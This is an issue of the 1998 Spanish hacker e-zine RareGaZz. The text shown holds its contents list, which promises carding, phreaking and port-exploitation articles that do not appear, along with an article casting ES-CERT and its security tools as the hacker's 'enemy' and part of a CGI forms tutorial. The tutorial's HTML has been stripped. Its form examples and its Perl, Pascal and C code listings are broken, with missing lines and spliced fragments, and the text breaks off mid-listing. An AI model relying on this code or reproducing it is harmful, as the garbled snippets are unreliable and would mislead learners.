Conoce a tu enemigo, Interactividad, Forms & Scripts CGI, Carding, Como aprovechar los puertos de un sistema, Phreaking cellulars, Programming cellulars, Como ser un "jaker" en 10 minutos, Bug Win95+HP, Cambiar el logo de inicio de Windows 3.x, Trucos para el IRC hispano, Las posibilidades en Windows NT (Parte 2).....
Texto Completo: <<::RareGaZz::>>
presenta
A¤o 1, numero 11
~~~~~~~~~~~~~~~~~~~~~
Contenidos
==========
1.- Introduccion -GuyBrush-
2.- Conoce a tu enemigo : ES-CERT -Nobody-
3.- Interactividad, Forms & Scripts CGI -Sebasti n Quiroga-
4.- Carding -SlimeLORD-
5.- Como aprovechar los puertos de un sistema -GuyBrush-
6.- Phreaking cellulars -SlimeLORD-
7.- Programming cellulars -SlimeLORD-
8.- Como ser un "jaker" en 10 minutos -O'Flaherty-
9.- Bug Win95+HP -12r43lOverdrive-
10.- Cambiar el logo de inicio de Windows 3.x -Mr_Frost-
11.- Trucos para el IRC hispano -Lobo-
12.- Las posibilidades en Windows NT (Parte 2) -Azum Lord-
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
1 - INTRODUCCION
~~~~~~~~~~~~~~~~
Hola amigos. Ya estamos aqui de nuevo. Una vez mas pediros disculpas por la
tardanza pero como todos sabeis no tenemos un espacio de tiempo fijo entre
cada edicion. Simplemente, cuando tenemos tiempo y articulos buenos (son
buenos, verdad?) pues la sacamos para que todos puedan disfrutar y aprender.
Como RareTrip anda demasiado ocupado, yo GuyBrush, me encargare temporalmente
del mantenimiento y direccion de RareGaZz. A pesar de que hemos estado algun
tiempo 'desconectados' hemos vuelto con mas ganas que nunca. Siento mucho
todos esos mails que aun no hemos respondido. Pero os aseguro que ya nos
hemos puesto manos a la obra y pronto sera todo como antes.
Este es nuestro onceavo E-zine y pronto, gracias a vosotros, cumpliremos un
a¤o. Esperamos que sigais enviando vuestros articulos, dudas y sugerencias.
-= GuyBrush =-
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Es indispensable para todo hacker estar al dia sobre el tema de la seguridad
informatica asi como de los bugs que diariamente aparecen en los diversos
sistemas. Si no sabes lo que es el CERT, lee esto con atencion ...
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
2 - CONOCE A TU ENEMIGO : ES-CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
13-02-1998.
??????
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
ÛÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÛ²²
Û CONOCE A TU ENEMIGO : ES-CERT Û²²
ÛÛ ÛÛ²²
ÛÛÛ by NOBODY ÛÛÛ²²
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Nota Del Autor: No me hago responsable de la utilizacion de la informacion
aqui expuesta ya que tan solo es con fines didacticos.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- Que es este articulo ?.
Bueno, como GuyBrush me pidio un articulo para Raregazz y yo a los amigos
no les fallo, pues pense que este articulo podria ser interesante, en el
cual hablare sobre el ES-CERT, su servidor web, que podemos encontrar en
el, etc... desde un punto de vista hacker/analista en seguridad.
- ES-CERT.
Antes de nada tenemos que hablar sobre el CERT, que significa Computer
Emergency Response Team que traduzido a nuestra lengua seria Equipo de
Respuesta a Emergencias Informaticas. Es una organizacion americana
creada a raiz del famoso gusano de Internet a finales de los 80 por la
Agencia de Proyectos de Investigacion Avanzados para la Defensa, tambien
conocido como DARPA en Noviembre de 1988.
Esta organizacion formada por expertos en seguridad Unix,
periodicamente saca avisos sobre agujeros en programas o malas
configuraciones para sistemas Unix. A parte de esta tarea el CERT tambien
ofrece un servicio de asesoramiento si un sistema informatico a sido
invadido.
Los avisos del CERT suelen ser via mail pero tambien estan disponibles
en sus servidores FTP. Tambien se puede leer las news
comp.security.announce en el cual se distribuye los avisos de seguridad.
Como ya he dicho el CERT es una organizacion americana, pero desde hace
tiempo esta creando sedes por varios paises. Aqui es donde entra el
ES-CERT, ya que simplemente es la sede del CERT en Espa¤a, constituida
por expertos espa¤oles en seguridad.
EL CERT a su vez esta constituido por el FIRST, Forum of Incident Response
and Security Teams, Foro de Equipos de Seguridad y Respuesta ante
Incidentes. El cual engloba expertos en seguridad de todo el mundo que
buscan conjuntamente tapar los agujeros que van apareciendo.
Es recomendable leer la documentacion del CERT, en la cual viene muchas
pautas sobre configuraciones correctas y como asegurar el sistema
correctamente. Salir nombrado en un documento del CERT es signo de
prestigio en la comunidad de seguridad informatica.
- Su Servidor WEB.
En su magnifico web encontraremos multitud de informacion y tools sobre
seguridad informatica. Es interesante conocer estas tools desde varios
puntos de vista, por ejemplo un hacker le es util para conocer con que
se puede encontrar en un servidor y como enfrentarse, para un analista
en seguridad es una obligacion y por ultimo desde el punto de un Admin,
este tiene la posiblidad de mejorar la seguridad de su sistema de una
manera efectiva y la mas importante, totalmente gratis.
Ahora os pongo los directorios de soft con sus contenidos y os hablare
sobre ellos.
PAQUETES DE AUDITORIA
---------------------
* Cops = Conjunto de programas para verificar ciertos aspectos del
sistema operativo Unix. Creado por Dan Farmer, todo una leyenda
en el campo.
* Tripwire = Para la evaluacion de la integridad del sistema y deteccion
de alteraciones. Unix.
* Md5 = El popular md5. Unix.
* Satan111 = Para verificar si tenemos vulnerabilidades conocidas en los
accesos a la red. Unix.
* Argus = Audicion del trafico IP. Unix.
* Crack = Para probar la fortaleza de los passwords. Unix, Win NT.
* Monkey = Para probar la fortaleza de los passwords S/Key. Unix.
* Antizap = Para detectar modificaciones no autorizadas de wtmp y
lastlog. Unix.
GESTION DE RED Y MONITORIZACION
-------------------------------
* Cpm o Ifstatus = Mejor que ifconfig para detectar si la tarjeta de
red est en modus promiscuo. Unix.
SOFT DE CIFRADO
---------------
* Pgp = De momento, y mientras no se implante S/MIME, es lo mejor que
podemos utilizar. Para todos los sistemas: Dos, Windows, Amiga,
Archimedes, Atari, Vax-Vms, Unix.
* Cryptograf¡a = Completa coleccion de documentos y material criptografico
mantenida por J.R. Valverde. La coleccion procede de los
mejores servidores FTP sobre el tema, y se actualiza a
diario. Unix, PC.
CONSTRUCCION DE CORTAFUEGOS
---------------------------
* Logdaemon = Incorpora varias carateristicas en los servidores rlogin,
rsh, login, rexec y ftp. Mejora de la informacion de log,
capacidades de control de acceso, restricciones de acceso
de root y mejora los metodos de autenticacion (one-time
passwords y SecureNet keycard one-time passwords). Unix.
* Wietse's tools (tcp_wrappers) = Capacidad de logging y filtrage para la
mayor¡a de los servidores que gestiona
inetd. Tambien aporta servicios
similares al basado en RPC. Unix.
* Skey = Passwords de un solo uso. Unix, PC.
* Tamu = Filtrage de paquetes con un PC. Tambien contiene el TIGER, de
funcionalidades similares al COPS y netlog para auditar la
conexion IP. Unix, PC.
* Tisfwtk = Utilidades para construir un cortafuegos. Proxias, llaves de
un solo uso, etc. Unix.
CIFRADO DE LA CONEXION
----------------------
* Ssh = Cifrado de la conexion. Unix, PC.
* Ssl = Libreria SSLeay y aplicaciones telnet, ftp y web server. Unix, PC.
OTROS
-----
* Lsof = Para ver los ficheros abiertos del sistema. Unix.
* Osh = Shell restringido. Permite al administrador restringir el acceso a
detreminados comados o ficheros para determinados usuarios a la vez
que permite generar registros de auditoria. Unix.
* Cgiwrap = Programa que permite a los usuarios del sistema el uso de sus
propios CGIs sin compromiter la seguridad del sistema. Unix.
* Libpcap = Libreria para algunas herramientas (argus, tcpdump). Unix.
* Antivirus = Antivirus. PC.
* Dos_Security = DOS Security Tools (password, risk analisis, etc..). PC.
Nota : Los comentarios de los programas los he copiado directamente del
WEB del ES-CERT ya que los considero muy buenos y no hace falta
ningun comentario a parte. Solo he a¤adido una linea al programa
Cops.
Como habeis podido apreciar el servidor contiene multitud de interesantes
herramientas que estan disponibles a cualquiera. Pero esto no acaba aqui
ya que en otras secciones del servidor encontraremos :
* Avisos de seguridad.
* Link's.
* Parches.
* Documentacion propia del CERT.
* Boletines.
* Articulos.
* Listas de Distribuci¢n y Grupos de Noticias.
* Bibliograf¡a.
* Publicaciones.
* Otros CERT's Europeos.
La segunda seccion mas interesante desde mi punto de vista es la de
Documentacion, donde encontraremos mucha lectura, por supuesto muchas cosas
en ingles. Los temas de esta seccion son los siguientes :
* CHECKLISTS = Listas sobre agujeros.
* DETECCION DE INTRUSIONES = EL titulo ya lo dice ;-)
* MONOGRAFICOS = Diversas cuestiones sobre seguridad (X-Win, FTP, etc...).
* POLITICAS DE SEGURIDAD = Como establecer politicas de seguridad.
* CORREO ELECTRONICO = La proteccion del correo.
* PRENSA y VARIOS = revistas sobre seguridad.
* ARCHIVOS = Mas programas y link's sobre seguridad.
* FIREWALLS = Cuestiones sobre Firewalls.
* CIFRADO DE LA CONEXION = Link's sobre criptografia.
* SEGURIDAD EN WWW = Protegiendo el servidor WEB.
* LEGISLACION = La legislacion actual referente a la comunicacion.
* LITERATURA = Historias reales sobre Hackers.
* OTROS = Mirror del CIAC.
Logicamente existen muchas mas herramientas de seguridad que no estan
aqui incluidas pero con lo que hay aqui disponible podemos pasar un buen
tiempo sin aburrirnos.
- Realmente es peligroso para un Hacker ?
Hombre, en la primera instancia el CERT se preocupa de que los Admin's
protejan correctamente su servidor, por otro lado disponen de personal
que puede ser llamado por las empresas y evaluan los da¤os inflinjidos
por un intruso, ademas tambien se ponen en contacto con las autoridades
por si es necesario alguna detencion, ya que el CERT logicamente no tiene
poder judicial pero si que puede dar caza a un intruso.
Por estas razones hay que conocer como operan y que tools utilizan,
logicamente utilizaran mas tool's que no estan en el web pero por lo menos
conoceremos varias de estas y sabremos enfrentarnos a ellas.
Por eso es necesario que los Hackers esten atentos a los avisos y conozcan
la documentacion del CERT, no solo como medida de seguridad sino ya que es
muy interesante.
EL URL DEL ES-CERT
------------------
http://escert.upc.es
FTP = escert.upc.es
E-Mail =
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
<->
Y desde aqui saludar a toda la pe¤a de #hackers, #hack, #rejoin &
#seguridad_informatica !!!!!!
Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK,
@pOkalypSYS y todos los demas !!
Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet,
Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus,
Enif, Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :)
NOBODY (c) 1998.
wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm
Parece que los Scripts CGI estan de moda. Si quieres aprender como funcionan
mira con detenimiento este completo articulo ...
wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm
3 - INTERACTIVIDAD, FORMS & SCRIPTS CGI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interactividad,Forms & Scripts CGI
Indice
------
PRIMERA PARTE
Introducci¢n.
C¢mo funciona la cosa.
Por donde empezar.
Forms.
Forms simples.
Text, Password y TextArea.
Radio Buttons.
Check Buttons.
Pop-up Lists.
Forms Multiples y el Reset Button.
SEGUNDA PARTE
Que necesitamos para empezar.
Qu‚ son los scripts CGI?
Nuestro Primer Script.
Un script que hace Eco de un Form.
Un procesador de mensajes simple. (guestbook)
-retornar una pagina que no creamos
-verificar que todos los campos esten llenos y el email tenga un @
-Editar un documento HTML e insertar informacion en el medio.
Puntos importantes al programar scripts.
TERCERA PARTE (propuesta)
Im genes clikeables.
Desempaquetando informaci¢n.
Parsers CGI.
Scripts avanzados.
Animaci¢n.
Counters.
Locking de archivos.
P ginas Web con protecci¢n por password.
HTML/CGI como front/end de nuestros programas.
Ap‚ndice: Librer¡as para la Programaci¢n de scripts CGI.
Sites con informaci¢n acerca de CGI.
Vocabulario - Siglas
______________________________________________________________________________
Introducci¢n
El Web no es s¢lo un medio para colocar informaci¢n de variados tipos y
formatos a disposici¢n de los usuarios de Internet. Utilizando el Web es
posible tambi‚n interactuar con el usuario de forma que ‚l pueda, por ejemplo,
encargar un producto, suscribirse a alg£n servicio, reservar un pasaje o hacer
una consulta a una base de datos.
La intenci¢n de este texto es acercar a todos los que se han iniciado en HTML
hace poco tiempo, al dise¤o de p ginas interactivas y as¡ avanzar un poco m s
en sus conocimientos
Estimo que no debe ser para nada perfecto ni mucho menos, quiz s podr¡a decir
s¡, es bastante "entendible" por eso espero que sirva de iniciaci¢n en el tema,
cualquier correcci¢n, duda o sugerencia pueden mandarla a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
donde
tratare de contestar en la medida de lo posible=cerebro/tiempo.
Pido disculpas por los toscos gr ficos ASCCI (fu‚ mi mejor esfuerzo), pero les
aseguro que la versi¢n HTML va a estar mucho mejor, lo prometo.
(con los dedos cruzados.... :D! ) provistos por el usuario.
C¢mo funciona la cosa.
En el momento en que accedemos a una p gina del tipo que mencionamos, podemos
apreciar distintos elementos que permitir n que nuestros deseos/necesidades
puedan ser transmitidos a las personas que manejan esa p gina.
La mec nica es simple, la informaci¢n es enviada a un programa, el script CGI,
procesada y en consecuencia es generada una salida.
Los datos que ingresemos ser n encapsulados en una variable de entorno
denominada QUERY_STRING, y en el momento de apretar el bot¢n de "submit" ser
le¡da e interpretada por nuestro script. Dentro de ella ir n todos los valores
correspondientes a los datos que ingresemos, de manera que el script tendr
que separarlos uno por uno para su proceso. Esto se logra f cilmente mediante
el uso de funciones que vienen inclu¡das en librer¡as especializadas para
cada lenguaje en particular.
Existen otras variables de entorno que pueden ser accedidas por un script CGI
cuando ‚ste se ejecuta tales como;
Variable de entorno Contenido
QUERY_STRING Data enviada al script CGI por el usuario. Esta puede
ser la salida de un FORM, u otra informaci¢n generada
din micamente o est ticamente.
REMOTE_ADDR La direcci¢n de internet de la m quina que hizo el
request.
CGI_VERSION N£mero de revisi¢n de la especificaci¢n CGI.
CGI_REFERER El URL del documento que contiene la llamada al script
El script eventualmente retornar una p gina HTML o una imagen que es mostrada
como resultado de la ejecuci¢n. Este £ltimo caso es el de los counters,
que a traves de un peque¤o programa en C, "pegan" los distintos d¡gitos que
representan la cantidad de accesos que ha tenido esa p gina en un UNICO .GIF .
Para diferenciar estos dos tipos de salida se env¡a un "header" al comienzo de
la transmisi¢n de la respuesta que las identifica seg£n la siguiente especifi-
caci¢n (extensiones MIME).
Tipo de Informaci¢n retornada Texto
Una p gina HTMl Content-type: text/html
Una imagen .GIF Content-type: image/gif
{{ a prop¢sito de los counters, quisiera hacer un comentario personal sobre la
utilidad de los mismos, ya que en mi opini¢n la confiabilidad de ‚stos es como
m¡nimo dudosa, como ejemplo basta mencionar una p gina llamada "The Terrorist
Counter" que contiene links a muchos counters diferentes en distintas p ginas,
de todo el mundo y que al ser cargada los hace aumentar a todos al mismo
tiempo, pero bueno, esa es otra historia..}}
Los scripts normalmente estan ubicados en el directorio cgi-bin del web-server
o bien en alguno similar (CGI-WIN,CGI-DOS).
La ubicaci¢n del directorio cgi-bin es determinada por el administrador del
Web, o "webmaster" como se lo llama com£nmente,y esta puede ser una ubicaci¢n
f¡sica real o bien una l¢gica.
Es importante mencionarlo ya que la mayor¡a de los web-servers s¢lo permiten
que se ejecuten programas desde estos directorios en particular.
Para finalizar este breve vistazo del tema basta con mencionar que los
scripts CGI pueden ser escritos en cualquier lenguaje. Com£nmente se utiliza
PERL o C, aunque contando con las librer¡as adecuadas se pueden escribir
tambi‚n en Turbo Pascal (mi caso particular), Visual Basic y hasta Delphi.
Por donde empezar.
Para comenzar analizaremos la creaci¢n de "forms", nuestro front-end/interfaz
gr fica que permitir a los usuarios el ingreso de la informaci¢n deseada.
Estos "forms" hacen uso de elementos comunes para aquellos familiarizados con
las GUI modernas ,Windows o X-Windows, como son los buttons, check boxes,
radio buttons, pulldown menus, text boxes, etc...
Una vez que hayamos dominado bien este tema podremos pasar a la diagramaci¢n/
programaci¢n de los scripts CGI, es decir los programas que procesar n los
datos ingresados por los usuarios.
Creo que la mejor manera de aprender este tema, es ir leyendo el documento
y practicando en el browser (bastar con usar Netscape y el Edit de DOS) de
todos modos cada cual elegir el sistema que le resulte m s c¢modo.
****FORMS****
Forms simples.
Comenzaremos con un p gina tipo que tiene inclu¡do el tag correspondiente
al inicio de un form;
P gina de Prueba
Titulo Prueba de Forms
<-- y aqui terminar¡a --!>
Evidentemente "prog.exe" es el nombre del ejecutable (script CGI) que correr
en el web-server una vez que el usuario env¡e la informaci¢n requerida, y POST
es el m‚todo que se utilizar para realizar dicha acci¢n.
Existe otro m‚todo llamado GET que hace exactamente lo mismo, la diferencia
radica en que este £ltimo env¡a la data dentro de la variable de entorno que
hab¡amos mencionado (QUERY_STRING) "pegada" al URL del script y POST lo hace
como un "stream" continuo de caracteres. Es preferible utilizar POST ya que el
mismo no tiene limitaciones de tama¤o y en cambio GET s¡ puede tenerlas en el
server.
Text Line
El elemento m s simple que podemos utilizar en un FORM es el "Text line" que
le permite al usuario ingresar texto en una l¡nea. La sintaxis utilizada para
este tag es la siguiente;
En el browser se ver :
Escriba su nombre
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Cuando el usuario oprima la tecla "Enter" lo que haya escrito ser enviado al
web-server.
Veamos los par metros de este tag. En NAME va el nombre de la variable que
almacenar el texto que tipee el usuario y en SIZE tenemos 20 que es la longi
tud en caracteres que va a tener la caja.
Por medio de un script-CGI "capturaremos" la variable "nom_var" y leeremos su
contenido, el cual podremos procesar posteriormente.
Password Text.
En adici¢n a Text Line existe el tipo "password" que sirve para ingresar
claves o textos secretos, cuya sintaxis es muy parecida.
No se trata para nada de un medio seguro para enviar informaci¢n a trav‚s de
la Net, pero bueno, puede servirnos para este fin did ctico.
Obtendremos la siguiente salida :
Ingrese su nombre de usuario y su password.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Sebastian ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³************ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Obviamente lo que escribamos en la caja de password no aparecer como texto
normal sino con una "*" representando cada car cter.
Text Boxes
Si necesitamos recibir m s de una l¡nea podemos utilizar los tags
como podemos ver m s abajo.
|
ÚÄÄÄÄÄÄÄÄÄÄÄÂÄ¿ | ÚÄÄÄÄÄÄÄÄÄÄÄÂÄ¿
³DOS ³ ³ | ³DOS ³ ³ (as¡ se ver¡a el menu desplegado
ÀÄÄÄÄÄÄÄÄÄÄÄÁÄÙ | ÃÄÄÄÄÄÄÄÄÄÄÄÁÄ´ al pulsar con el mouse en la flecha)
| ³Windows 3.1 ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³Windows 95 ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³OS/2 Warp ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³Linux ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³Otro ³
| ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
ÉÍÍÍÍÍÍ» | ÉÍÍÍÍÍÍ»
ºEnviarº | ºEnviarº
ÈÍÍÍÍÍͼ | ÈÍÍÍÍÍͼ
|
Al igual que en los otros ejemplos, la variable "sistema" almacenar el ¡tem
elegido.
Forms Multiples y el Reset Button
Todos los elementos que hemos mencionado pueden ser utilizados individualmente
con un submit button (o sea con un form para cada uno ) o bien pueden ser
empleados varios de ellos en una misma p gina.
Nota: Se estila en la creaci¢n de un buen form, el poner lineas horizontales
arriba y abajo del form (Aprendiendo CGI \n"; ³
³print "\n"; ³
³print "\n"; ³
³print "Hola Intertips!\n"; ³
³print "\n"; ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ PASCAL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³begin ³
³writeln "Content-type: text/html"; ³
³writeln; ³
³writeln ""; ³
³writeln ""; ³
³writeln "Aprendiendo CGI "; ³
³writeln ""; ³
³writeln ""; ³
³writeln "Hola Intertips!"; ³
³writeln ""; ³
³end. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ C ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³#include ³
³ ³
³main() ³
³{ ³
³printf ("Content-type: text/html\n\n"); ³
³printf ("\n"); ³
³printf ("\n"); ³
³printf ("Aprendiendo CGI \n"); ³
³printf ("\n"); ³
³printf ("\n"); ³
³printf ("Hola Intertips\n"); ³
³printf ("\n"); ³
³} ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Es as¡ de f cil!! Y lo mejor de todo es que funciona!
Observen que lo primero que retornamos es un header indicando de que tipo es
la informaci¢n que enviamos, en este caso se trata de una p gina HTML, por
lo tanto el header apropiado es:
Content-type: text/html
Tomemos en cuenta tambi‚n que los primeros dos saltos de l¡nea que introduci
mos son significativos. Los c¢digo de retorno MIME, a los cuales pertenece
"Content-type..", necesitan dos "newlines" sigui‚ndolos para delimitar su fin.
No enviar este segundo newline nos traer bastantes problemas.
Los dem s "newline" inclu¡dos en la p gina que generamos no son realmente
necesarios, pero facilitar n la lectura de alguien que haga un "View Source".
Como vemos en los ejemplos tuvimos que generar todos los tags de la p gina,
pero eso result¢ muy simple, no es as¡?
Ahora vamos a hacer algo un poco m s interesante, vamos a solicitar algunos
datos con un FORM apropiado, y vamos a retornar una p gina que contenga los
nombres de las variables utilizadas junto con el contenido de cada una ingresa
do por el usuario.
Un script que hace Eco de un Form.
En este punto comenzaremos a hacer uso de librer¡as especializadas (los sites
donde conseguir cada una de las librer¡as figuran al final de este texto).
Quisiera recalcar que estas librer¡as no son £nicas, existen muchas variaciones
sobre el mismo tema, y cada una de ellas tiene su propia forma de manejarse,
por lo tanto es conveniente revisar cuidadosamente la documentaci¢n que las
acompa¤a en caso de que se utilize alguna otra que no figure aqu¡.
Estas librer¡as nos ahorrar n el trabajo de separar los distintos componentes
que son encapsulados en la variable de entorno QUERY_STRING (recuerdan lo que
mencionamos en la primera parte?).
En el caso que estudiaremos, la llamada la hacemos al script en Perl, pero
obviamente cambiando el nombre del ejecutable de acuerdo al lenguaje que
estemos utilizando esto se soluciona.
Veamos el form que vamos a utilizar:
Prueba con un FORM
Ingresa los datos que corresponden para hacer la prueba;
Aprendiendo CGI-Segundo Ejercicio \n"; ³
³print "\n"; ³
³print "\n"; ³
³print "Aprendiendo CGI-Segundo Ejercicio '); ³
³Send (''); ³
³Send (''); ³
³Send (' ³
³#include ³
³#include <ÄÄÄ Inclu¡mos la librer¡a. ³
³char *getenv(); ³
³ ³
³main() ³
³{ ³
³ char *nombre; <ÄÄÄ Definimos las variables ³
³ char *edad; que vamos a usar. ³
³ char *equipo; ³
³ char *email; ³
³ ³
³uncgi(); <ÄÄÄ Separamos las variables. ³
³ ³
³nombre = getenv("WWW_nombre"); <ÄÄÄ Asignamos los valores que ³
³edad = getenv("WWW_edad"); nos enviaron a las variables³
³equipo = getenv("WWW_equipo"); para utilizarlos. ³
³email = getenv("WWW_email"); ³
³ ³
³printf ("Content-type: text/html\n\n"); <ÄÄÄ Imprimimos el Header. ³
³printf ("\n"); ³
³printf ("\n"); ³
³printf ("Aprendiendo CGI-Segundo Ejercicio \n"); ³
³printf ("\n"); ³
³printf ("\n"); ³
³printf ("Firme nuestro Libro
Ingrese sus datos y el comentario que desee hacernos:
Error en el Ingreso \n"; ³
³print "\n"; ³
³print "\n"; ³
³print "Alguno de los campos que ingres¢ no conten¡a datos "; ³
³print "Por favor apriete este boton para ingresar sus datos nuevamente"; ³
³print " ³
³print "$email<\A> Error en el Ingreso '); ³
³ Send (''); ³
³ Send (''); ³
³ Send ('Alguno de los campos que ingres¢ no conten¡a datos '); ³
³ Send ('Por favor apriete este boton e ingrese sus datos nuevamente'); ³
³ Send (' ³
³ Send (' +email+'
Y el link en el tag IMG quedar¡a as¡:
Si el browser no llegara a entender el USEMAP, procesar nuestro pedido en
base al link del ISMAP.
Desempaquetando informaci¢n.
Aunque este tema puede resultar algo "t‚cnico" creo que resulta interesante
incorporarlo al tutorial, ya que nos permite conocer el funcionamiento de esas
"cajas negras" que son las librer¡as, las cuales hemos utilizado al programar
nuestros scripts.
Sabemos que cuando usamos el m‚todo POST toda la informaci¢n de un form es
"empaquetada" en una variable llamada QUERY_STRING, pero... en qu‚ forma?
La variable QUERY_STRING puede almacenar solamente un string continuo sin
espacios, de manera que para enviar varios campos (y espacios) debe existir
alg£n tipo de codificaci¢n de los mismos.
De hecho, podemos verla en el siguiente ejemplo.
Supongamos que en nuestro form solicitamos los siguientes datos:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Nombre: Sebastian ³ (para variar :)
³Edad: 22 ³
³Simpatizante de: Boca Juniors ³ (que grande boquita:->
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Como dec¡amos estos datos deben ser empaquetados en un £nico string, esto se
hace poniendo un "&" (ampersand) entre cada variable y reemplazando cada
espacio por un signo "+", con lo cual conseguimos que la variable quede as¡;
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºQUERY_STRING = "nombre=Sebastian&edad=22&equipo="Boca+Juniors"º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Adicionalmente, ciertos caracteres son reemplazados por su valor ASCCI en un
formato hexadecimal (%xx). Como vemos, esta ensalada de letras es imposible
de manejar tal como est , por lo tanto recurrimos a los "parsers" cuya funci¢n
es la de separar estos valores en c¢modas y agradables variables.
Parsers CGI.
La rutina escrita para Perl es un poco (s¢lo un poco) m s clara que su
correspondiente equivalente en C, por lo tanto la utilizaremos para la
explicaci¢n del funcionamiento de un parser.
Perl utiliza los llamados "arrays asociativos" que son muy similares
a los arrays que todos conocemos, excepto por la salvedad (y a la vez gran
ventaja) de que los ¡ndices no son n£mericos, sino alfan£mericos.
C¢mo es esto ? En esta rutina, todos los campos que se separan son almacenados
en un array asociativo con el nombre @in. Si queremos acceder al contenido
del campo edad, por ejemplo, ‚ste se encuentra en la posici¢n "edad" y el
c¢digo empleado es el siguiente.
@in { 'nombre'};
Lo que sigue es la rutina &ReadParse (que figura en la l¡breria "cgi-lib.pl"
de S.E.Brenner) comentada ampliamente para su mejor entendimiento.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³# Perl Routines to Manipulate CGI input ³
³#
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
³
